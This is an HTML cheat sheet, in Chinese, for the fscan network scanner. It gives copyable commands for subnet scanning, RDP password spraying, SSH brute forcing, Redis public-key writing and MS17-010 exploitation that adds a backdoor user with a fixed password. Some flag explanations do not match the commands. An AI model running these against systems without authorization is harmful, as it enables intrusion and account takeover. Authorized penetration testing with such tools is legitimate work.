-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathfscan.html
More file actions
438 lines (402 loc) · 17.6 KB
/
fscan.html
File metadata and controls
438 lines (402 loc) · 17.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Fscan工具手册</title>
<script src="https://cdn.tailwindcss.com/3.3.3"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
<style>
body {
font-family: 'Inter', sans-serif;
background-color: #1a1a2e;
color: #e2e8f0;
display: flex;
min-height: 100vh;
}
.glass-card {
background: rgba(30, 41, 59, 0.8);
backdrop-filter: blur(10px);
border-radius: 12px;
border: 1px solid rgba(255, 255, 255, 0.1);
box-shadow: 0 8px 32px 0 rgba(0, 0, 0, 0.3);
transition: all 0.3s ease;
display: none;
}
.glass-card.active {
display: block;
animation: fadeIn 0.5s ease forwards;
}
.code-block {
background: #0f172a;
color: #f8fafc;
border-radius: 8px;
position: relative;
}
.copy-btn {
position: absolute;
top: 8px;
right: 8px;
background: rgba(255,255,255,0.1);
border: none;
color: #f8fafc;
padding: 4px 8px;
border-radius: 4px;
cursor: pointer;
transition: all 0.2s ease;
}
.copy-btn:hover {
background: rgba(255,255,255,0.2);
}
.param-tag {
display: inline-block;
background: rgba(59, 130, 246, 0.2);
color: #93c5fd;
padding: 2px 8px;
border-radius: 999px;
font-size: 0.85rem;
margin-right: 6px;
margin-bottom: 6px;
}
.blob {
position: absolute;
width: 300px;
height: 300px;
background: linear-gradient(135deg, #1e3a8a 0%, #4338ca 100%);
filter: blur(80px);
opacity: 0.2;
border-radius: 50%;
z-index: -1;
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
.sidebar {
width: 200px;
min-width: 200px;
background: rgba(15, 23, 42, 0.9);
backdrop-filter: blur(10px);
border-right: 1px solid rgba(255, 255, 255, 0.1);
padding: 15px;
overflow-y: auto;
z-index: 50;
transition: transform 0.3s ease;
}
.nav-item {
display: flex;
align-items: center;
padding: 8px 12px;
margin-bottom: 4px;
border-radius: 8px;
color: #94a3b8;
transition: all 0.2s ease;
font-size: 0.9rem;
}
.nav-item i {
margin-right: 8px;
font-size: 0.9rem;
}
.nav-item:hover {
background: rgba(59, 130, 246, 0.2);
color: #93c5fd;
}
.nav-item.active {
background: rgba(59, 130, 246, 0.3);
color: #60a5fa;
font-weight: 600;
}
.nav-group {
margin-bottom: 15px;
}
.nav-group-title {
font-size: 0.8rem;
font-weight: 600;
color: #64748b;
text-transform: uppercase;
letter-spacing: 0.05em;
margin-bottom: 8px;
padding-left: 12px;
}
.main-content {
flex-grow: 1;
padding: 20px;
overflow-y: auto;
}
.mobile-menu-btn {
display: none;
width: 100%;
padding: 10px;
background: rgba(59, 130, 246, 0.2);
border-radius: 8px;
text-align: center;
margin-bottom: 10px;
cursor: pointer;
color: #93c5fd;
}
.loading {
display: inline-block;
width: 20px;
height: 20px;
border: 3px solid rgba(255,255,255,0.3);
border-radius: 50%;
border-top-color: #60a5fa;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
@media (max-width: 768px) {
body {
flex-direction: column;
}
.sidebar {
position: fixed;
top: 0;
left: 0;
bottom: 0;
transform: translateX(-100%);
width: 250px;
}
.sidebar.active {
transform: translateX(0);
}
.main-content {
margin-left: 0;
padding-top: 60px;
}
.mobile-menu-btn {
display: block;
}
}
</style>
</head>
<body class="min-h-screen">
<div class="blob top-0 left-0"></div>
<div class="blob bottom-0 right-0"></div>
<!-- 侧边导航栏 -->
<div class="sidebar" id="sidebar">
<div class="flex items-center mb-6">
<i class="fas fa-shield-alt text-blue-400 text-xl mr-2"></i>
<h1 class="text-lg font-bold bg-gradient-to-r from-blue-400 to-indigo-500 bg-clip-text text-transparent">Fscan扫描工具</h1>
</div>
<button class="mobile-menu-btn" id="mobileMenuBtn">
<i class="fas fa-bars mr-2"></i>菜单
</button>
<div class="nav-group">
<div class="nav-group-title">主菜单</div>
<a href="#one-click" class="nav-item" data-target="one-click">
<i class="fas fa-bolt"></i>一把梭
</a>
<a href="#web-scan" class="nav-item" data-target="web-scan">
<i class="fas fa-globe"></i>Web服务探测
</a>
<a href="#service-detect" class="nav-item" data-target="service-detect">
<i class="fas fa-search"></i>服务检测
</a>
<a href="#password-spray" class="nav-item" data-target="password-spray">
<i class="fas fa-shower"></i>密码喷洒
</a>
<a href="#weak-password" class="nav-item" data-target="weak-password">
<i class="fas fa-key"></i>弱口令检测
</a>
<a href="#exploit" class="nav-item" data-target="exploit">
<i class="fas fa-bug"></i>漏洞利用
</a>
</div>
</div>
<!-- 主内容区 -->
<div class="main-content">
<!-- 一把梭模块 -->
<section id="one-click" class="glass-card p-6 mb-8">
<div class="flex items-center mb-4">
<div class="w-8 h-8 rounded-full bg-green-900 flex items-center justify-center text-green-400 mr-3">
<i class="fas fa-bolt"></i>
</div>
<h3 class="text-xl font-semibold text-slate-200">1) 一把梭</h3>
</div>
<div class="code-block p-4 mb-4 relative">
<button class="copy-btn" onclick="copyCode(this)"><i class="fas fa-copy mr-1"></i>复制</button>
<code>fscan -t 150 -time 5 -h 192.168.0.0/16</code>
</div>
<h4 class="font-medium text-slate-300 mb-2">参数解释</h4>
<div class="flex flex-wrap">
<span class="param-tag"><span class="font-semibold">-t 150</span>:设置扫描的线程数为150</span>
<span class="param-tag"><span class="font-semibold">-time 5</span>:设置扫描的超时时间为5秒</span>
<span class="param-tag"><span class="font-semibold">-p service</span>:指定扫描的服务类型为常规服务</span>
<span class="param-tag"><span class="font-semibold">-h 192.168.0.0/16</span>:指定扫描的目标网络范围</span>
</div>
</section>
<!-- Web服务探测模块 -->
<section id="web-scan" class="glass-card p-6 mb-8">
<div class="flex items-center mb-4">
<div class="w-8 h-8 rounded-full bg-purple-900 flex items-center justify-center text-purple-400 mr-3">
<i class="fas fa-globe"></i>
</div>
<h3 class="text-xl font-semibold text-slate-200">2) Web服务探测</h3>
</div>
<div class="code-block p-4 mb-4 relative">
<button class="copy-btn" onclick="copyCode(this)"><i class="fas fa-copy mr-1"></i>复制</button>
<code>fscan -t 100 -time 5 -wt 8 -p web -h 192.168.0.1/24</code>
</div>
<h4 class="font-medium text-slate-300 mb-2">参数解释</h4>
<div class="flex flex-wrap">
<span class="param-tag"><span class="font-semibold">-wt 8</span>:设置Web服务探测的超时时间为15秒</span>
<span class="param-tag"><span class="font-semibold">-p web</span>:指定扫描的服务类型为Web服务</span>
</div>
</section>
<!-- 服务检测模块 -->
<section id="service-detect" class="glass-card p-6 mb-8">
<div class="flex items-center mb-4">
<div class="w-8 h-8 rounded-full bg-red-900 flex items-center justify-center text-red-400 mr-3">
<i class="fas fa-search"></i>
</div>
<h3 class="text-xl font-semibold text-slate-200">3) 服务检测</h3>
</div>
<div class="code-block p-4 mb-4 relative">
<button class="copy-btn" onclick="copyCode(this)"><i class="fas fa-copy mr-1"></i>复制</button>
<code>fscan -t 100 -time 5 -p service -nobr -noredis -np -hf ips.txt</code>
</div>
<h4 class="font-medium text-slate-300 mb-2">参数解释</h4>
<div class="flex flex-wrap">
<span class="param-tag"><span class="font-semibold">-noredis</span>:不扫描Redis服务</span>
<span class="param-tag"><span class="font-semibold">-hf ips.txt</span>:指定扫描的目标IP地址列表</span>
</div>
</section>
<!-- 密码喷洒模块 -->
<section id="password-spray" class="glass-card p-6 mb-8">
<div class="flex items-center mb-4">
<div class="w-8 h-8 rounded-full bg-orange-900 flex items-center justify-center text-orange-400 mr-3">
<i class="fas fa-shower"></i>
</div>
<h3 class="text-xl font-semibold text-slate-200">4) 密码喷洒</h3>
</div>
<div class="code-block p-4 mb-4 relative">
<button class="copy-btn" onclick="copyCode(this)"><i class="fas fa-copy mr-1"></i>复制</button>
<code>fscan -m rdp -user administrator -pwd P@ssword -hf rdp.txt</code>
</div>
<h4 class="font-medium text-slate-300 mb-2">参数解释</h4>
<div class="flex flex-wrap">
<span class="param-tag"><span class="font-semibold">-m rdp</span>:指定扫描的服务类型为RDP</span>
<span class="param-tag"><span class="font-semibold">-user administrator</span>:指定要尝试的用户名</span>
<span class="param-tag"><span class="font-semibold">-pwd P@ssword</span>:指定要尝试的密码</span>
</div>
</section>
<!-- 弱口令检测模块 -->
<section id="weak-password" class="glass-card p-6 mb-8">
<div class="flex items-center mb-4">
<div class="w-8 h-8 rounded-full bg-yellow-900 flex items-center justify-center text-yellow-400 mr-3">
<i class="fas fa-key"></i>
</div>
<h3 class="text-xl font-semibold text-slate-200">5) 弱口令检测</h3>
</div>
<div class="code-block p-4 mb-4 relative">
<button class="copy-btn" onclick="copyCode(this)"><i class="fas fa-copy mr-1"></i>复制</button>
<code>fscan -m ssh -hf ssh.txt</code>
</div>
<h4 class="font-medium text-slate-300 mb-2">爆破参数说明</h4>
<div class="flex flex-wrap">
<span class="param-tag"><span class="font-semibold">-usera string</span>:在默认用户列表基础上添加自定义用户名</span>
<span class="param-tag"><span class="font-semibold">-pwda string</span>:在默认密码列表基础上添加自定义密码</span>
<span class="param-tag"><span class="font-semibold">-userf string</span>:从文件中读取用户名字典</span>
<span class="param-tag"><span class="font-semibold">-pwdf string</span>:从文件中读取密码字典</span>
</div>
</section>
<!-- 漏洞利用模块 -->
<section id="exploit" class="glass-card p-6">
<div class="flex items-center mb-4">
<div class="w-8 h-8 rounded-full bg-pink-900 flex items-center justify-center text-pink-400 mr-3">
<i class="fas fa-bug"></i>
</div>
<h3 class="text-xl font-semibold text-slate-200">6) 漏洞利用</h3>
</div>
<!-- Redis写公钥 -->
<div class="mb-6">
<h4 class="font-medium text-slate-300 mb-2">Redis写公钥</h4>
<div class="code-block p-4 mb-2 relative">
<button class="copy-btn" onclick="copyCode(this)"><i class="fas fa-copy mr-1"></i>复制</button>
<code>fscan -p 6379 -rf /root/.ssh/id_rsa.pub -hf redis.txt</code>
</div>
</div>
<!-- MS17-010利用 -->
<div>
<h4 class="font-medium text-slate-300 mb-2">MS17-010利用</h4>
<p class="text-slate-400 mb-2">执行此命令后会生成一个用户,用户名:sysadmin 密码:'1qaz@WSX!@#4'</p>
<div class="code-block p-4 mb-2 relative">
<button class="copy-btn" onclick="copyCode(this)"><i class="fas fa-copy mr-1"></i>复制</button>
<code>fscan -h 192.168.1.1 -m ms17010 -sc add</code>
</div>
</div>
</section>
<!-- 页脚 -->
<!-- <footer class="bg-slate-800/80 backdrop-blur-md py-6 mt-12">
<div class="container mx-auto px-4 text-center text-slate-400 text-sm">
<p>created by <a href="https://space.coze.cn" class="text-blue-400 hover:text-blue-300">coze space</a></p>
<p>页面内容均由 AI 生成,仅供参考</p>
</div>
</footer> -->
</div>
<script>
// 复制代码功能
function copyCode(btn) {
const codeBlock = btn.parentElement;
const code = codeBlock.querySelector('code').textContent;
navigator.clipboard.writeText(code).then(() => {
const originalText = btn.innerHTML;
btn.innerHTML = '<i class="fas fa-check mr-1"></i>已复制';
setTimeout(() => {
btn.innerHTML = originalText;
}, 2000);
});
}
// 模块切换功能
document.querySelectorAll('.nav-item').forEach(item => {
item.addEventListener('click', function(e) {
e.preventDefault();
// 显示加载状态
const loadingIcon = document.createElement('span');
loadingIcon.className = 'loading';
this.appendChild(loadingIcon);
// 更新导航项激活状态
document.querySelectorAll('.nav-item').forEach(navItem => {
navItem.classList.remove('active');
});
this.classList.add('active');
// 隐藏所有内容模块
document.querySelectorAll('.glass-card').forEach(card => {
card.classList.remove('active');
});
// 显示当前选中模块
const targetId = this.getAttribute('data-target');
const targetSection = document.getElementById(targetId);
// 模拟加载延迟
setTimeout(() => {
targetSection.classList.add('active');
loadingIcon.remove();
// 平滑滚动到目标位置
targetSection.scrollIntoView({
behavior: 'smooth',
block: 'start'
});
}, 300);
});
});
// 移动端菜单切换
document.getElementById('mobileMenuBtn').addEventListener('click', function() {
const sidebar = document.getElementById('sidebar');
sidebar.classList.toggle('active');
// 切换图标
const icon = this.querySelector('i');
if (sidebar.classList.contains('active')) {
icon.classList.remove('fa-bars');
icon.classList.add('fa-times');
} else {
icon.classList.remove('fa-times');
icon.classList.add('fa-bars');
}
});
// 初始化页面时显示第一个模块
document.getElementById('intro').classList.add('active');
</script>
</body>
</html>